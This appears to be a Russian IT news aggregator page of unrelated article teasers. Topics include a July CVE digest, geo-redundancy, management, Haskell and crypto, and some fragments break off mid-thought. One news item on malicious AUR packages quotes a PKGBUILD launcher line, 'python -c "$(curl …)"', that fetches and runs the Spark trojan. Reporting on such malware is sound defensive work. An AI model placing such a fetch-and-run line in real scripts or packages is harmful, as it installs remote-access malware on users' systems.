Kurgan-Telecom Ru | Информационные технологии

1. Выбрать в таблице версию установленного Смарт ЛЭП

2. Нажать на соответствующую ссылку — скачается база данных справочника (файл с расширением sdf)

3. Запустить справочник, нажать «Отмена».

4. Выбрать меню «Файл» — «Выборочный перенос данных»:

Всем привет! Разбираем ключевые уязвимости июля. В прошлом месяце тон задала контора замечательных людей Cisco: компания отметилась очередным забытым тестовым аккаунтом в Unified CM и SME, а также дырявым API в ISE и ISE-PIC под RCE — обе CVE на 10 из 10.

Десяточку под RCE без авторизации также выбил Wing FTP Server, проверка концепции в наличии. Цепочку уязвимостей под удалённое выполнение кода исправили в Microsoft SharePoint Server. Mcp-remote отметился критической CVE под произвольные команды, в CrushFTP критическая уязвимость на доступ к серверу с правами админа, а в FortiWeb — на внедрение SQL-кода. Об этом и других главных уязвимостях июля читайте под катом!

Ясуо Куроки — японский дизайнер, который оказал значительное влияние на современную визуальную корпоративную культуру. Он создал логотип для Sony и других компаний, делая ставку на минимализм, изящество и простоту.  Рассказываем в нашей статье, какой вклад Куроки внес в японский дизайн. И не только.

Что общего у систем видеоконференцсвязи (ВКС), финансовых транзакций и авиаперевозок? Все они должны работать всегда, когда нужны людям. Сегодня расскажем, как мы строили георезервирование для инфраструктуры, что пошло не так и какие выводы сделали. Перед вами — true story, как мы помогаем одному из наших заказчиков сопровождать инфраструктуру большого критичного сервиса. 

Привет, Хабр! Это Никита Турцаков и Алексей Кузьмин из К2.

В этой статье расскажем:

• зачем и для чего нужно георезервирование для системы ВКС;
• как мы подошли к выбору архитектуры;
• с чем столкнулись при реализации;
• и что бы сделали по-другому, если бы начинали сейчас.

Готовьтесь: будет много практики и немного боли — потому что как без неё в масштабных и амбициозных задачах.

Всем привет!

Я Полина — старший системный аналитик на проекте разработки и развития решений по управления данными в компании "Цифровые сервисы". В целом мой опыт в аналитике более 10 лет на позициях, как бизнес , так и системного аналитика.

На одной из конференций по аналитике[1] увидела интересный слайд, на котором был перечислен набор аббревиатур и вопрос для размышления: «Должен ли аналитик уметь все?».

В репозитории AUR (Arch User Repository), были обнаружены пакеты содержащие вредоносный код, интегрированные в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад трём вредоносным пакетам с браузерами, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.

В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда ‘python -c «$(curl вредоносная ссылка)»’, загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скриншоты.

Вредоносный пакет был загружен позавчера и был удалён администраторами AUR через несколько часов после появления. Почти сразу после удаления этого вредоносного пакета в AUR были загружены два вредоносных пакета - «chrome» и «chrome-bin», содержащие аналогичный сценарий установки вредоносного ПО на систему пользователя.

Следом было выявлено ещё три пакета с вредоносным кодом: ttf-mac-fonts-all, ttf-ms-fonts-all и gromit.

 arch, aur, безопасность, троян

HRы, да и не только они часто задаются вопросом, можно ли вырастить из сотрудника Руководителя или это целиком природные задатки повлиять, на которые нельзя. Ответ на этот вопрос простой, проще чем может показаться на первый взгляд, в мире вообще, много простых ответов на казалось бы сложные вопросы. Да, практически из каждого сотрудника можно сделать руководителя, если он этого хочет.

Это Главный вопрос, который должен быть задан сотруднику, которого руководство и hrы думают «осчастливить» повышением до должности руководителя.

Часто при выборе кадрового ресурса на повышение, среди критериев отбора резерва один из основных является, то насколько успешен кандидат как сотрудник и это является большой ошибкой. Хороший специалист и Хороший руководитель – это два разных человека! Конечно, бывает исключение, но это исключение только и подтверждает правило. Именно с этой установкой связан синдром «Самого умного» неэффективного руководителя.

Если руководитель, особо ценит в себе то, что он является хорошим специалистом-профессионалом, это может являться мощным фактором неэффективности его как руководителя. Считающий себя специалистом-профессионалом руководитель, подбирает сотрудников в свою команду, как правило, с меньшим, чем он сам уровнем профессионализма, ведь руководителю важно быть «Самым умным».

Поэтому команда у такого руководителя слабая, неинициативная, ждущая указаний от «Самого умного». Возникает пустыня талантов, их там просто нет, кроме одного… Все процессы в компании завязана на Одной личности, все решения принимаются Одной личностью, это приводит к тому, что во всех решениях есть только Одна точка зрения, что мешает увидеть объективную картину. Плюс такой руководитель с синдромом «Самого умного» чрезвычайно загружен и как следствие этого испытывает колоссальные психические и физические нагрузки. Однобокость взгляда на проблемы и нагрузки приводят к тому, что руководитель совершает ошибки.

В современном мире вычислений нет более недооценённой технологии, чем цифровые дисплеи, хотя без них компьютеры были бы невозможны. Если бы человечество придумало транзистор раньше, чем электронно-лучевую трубку, то, возможно, сейчас бы вы это не читали.

Причина её недооценённости заключается в том, что большинство людей понятия не имеет, как работает экран. Каждый раз, когда вы видите загорающийся пиксель, то становитесь свидетелем настоящего волшебства — свет преломляется в электрических кристаллах, чтобы вы могли читать твиты в постели.

Open Source — подход к созданию программного обеспечения, при котором исходный код программы делается доступным для всех. Это означает, что любой человек может использовать программу, изучать ее, изменять под свои нужды и делиться этими изменениями с другими.

В контексте искусственного интеллекта Open Source-инструменты включают библиотеки, фреймворки, датасеты, модели и платформы, которые помогают разработчикам создавать, обучать и тестировать ИИ-системы.

На пути изучения Haskell стоит много абстракций, без понимания которых нет смысла двигаться дальше. Один из таких рубежей — аппликативный функтор.

Разберем пример: напишем простой валидатор и посмотрим каким образом пригодится Applicative.

Определим пользователя:

Стив Джобс вошел в историю как визионер и «лицо» Apple. Его харизма, фразы, эстетика и «One more thing…» стали частью цифровой мифологии. Но за этим публичным образом стояла система, где личный бренд CEO стал важнее команды, а сцена — инструментом контроля общественного мнения.

Эта статья — исследование того, как строится культ личности внутри компании. И почему в IT такое до сих пор пытаются повторять — даже те, кто не Джобс.

Сказ о том, как я с астрой боролась и ее локалями!

Мои жалкие попытки структурировать свои усердные пробы справиться с Астрой. Я ее люблю всей душой, честное слово, но любовь эта мне нравится иногда исключительно на расстоянии.

Построить интерактивный дашборд, визуализирующий изменение спортивных коэффициентов в реальном времени. Аналог систем мониторинга, только вместо метрик — лайв-кэфы с букмекерского API.

Мы в Pixel понимаем, что информатика в 7-м классе и программирование – тесно связанные направления, особенно в рамках внеурочных методических планов и кружков, где заинтересованные в этом ребята активно изучают, например, Python. Но спешим отметить, что доступных направлений дополнительного IT-обучения куда больше.

И речь не только о различных вариациях образовательных программ, посвященных языку «Питон»: на очных уроках и онлайн-курсах вне рамок типичной общеобразовательной школы подростку, проходящему обучение в 7-м классе, доступны занятия по трехмерному моделированию, созданию игр и т. д.

К каким именно направлениям стоит присмотреться и почему они хороши как дополнение уроков в школе? Рассказываем.

Привет, меня зовут Павел, я являюсь разработчиком в DD Planet. Сегодня хочу поговорить об одной частой ситуации. Если ваш web сервис работает по подпискам или с регулярными платежами — рано или поздно встаёт вопрос: брать готовое решение или сделать своё.

Привет! Меня зовут Ксения Ершова. Я работаю младшим UX-проектировщиком в Selectel. Помимо проектирования интерфейсов и исследования пользовательского опыта, я регулярно посещаю митапы, слушаю доклады, читаю статьи — и иногда ловлю себя на мысли: «Зачем я трачу на это время?». Обычно лейтмотив интересующих меня тем это менеджмент, UX, soft skills или созидание чего-либо. Уверена, вы тоже не раз сталкивались с такими материалами — и замечали, как часто они повторяют друг друга, не неся за собой ничего нового и полезного.

Моя статья — попытка разобраться, почему некоторые доклады не оставляют следа в памяти слушателей, а также поиск ответа, что можно с этим сделать. Она будет полезна, как для людей, выступающих на конференциях, так и для создателей любого другого контента.

В июле 2025 года два спутника NASA, выведенные на орбиту ракетой SpaceX, начали работу по исследованию космической погоды. Зачем? Чтобы изучить явления, связанные с солнечной активностью. Они могут не только вызывать полярные сияния, которыми можно любоваться вечно, но и нарушать работу GPS, спутников и энергосетей. Миссия TRACERS поможет исследовать, как солнечный ветер взаимодействует с магнитосферой Земли и влияет на устойчивость современных технических систем — от навигации до связи и электроснабжения.

Реальные причины провалов, которые встречаются у разработчиков игр на джемах, но о которых почти не говорят.

Исторически роль обратного прокси (reverse proxy) можно назвать первоначальным предназначением для Nginx, а значит и для Angie. В этой статье разберёмся, почему он обратный, какие тонкости настройки проксирования нужно учитывать при настройке.

Когда большинство российских банков отключили от SWIFT и международные платежи, например, с Payoneer, Paypal итд. стали невозможны, крипта для меня оказалась решением сразу нескольких проблем. С криптой границы, эпохи и политическая конъюнктура превращаются в уютный шум дождя за окном. Но это всё — при условии, что вы хотя бы минимально понимаете, что делаете. Без этого бэкграунда крипта, вместо лайфхака и спасительного выхода может показаться чем-то невероятно запутанным и мучительно сложным.

Я с криптой знаком давно, и писал аналитику, например Почему NFT — это чистый скам by design (об этой теме мне напомнило последнее обновление Телеграма, в котором Дуров с серьёзным лицом воскресил NFT, словно это что-то реальное), но это было во времена попроще. Сегодня более востребована пошаговая конкретика: на какой сайт идти, какой сервис подключить — но мало кто открыто озвучивает глобальные вопросы, стоящие за всеми техническими задачами: надолго ли всё это, надо просто перетерпеть или это уже новая реальность — от которых прямо зависит актуальность и важность технических решений.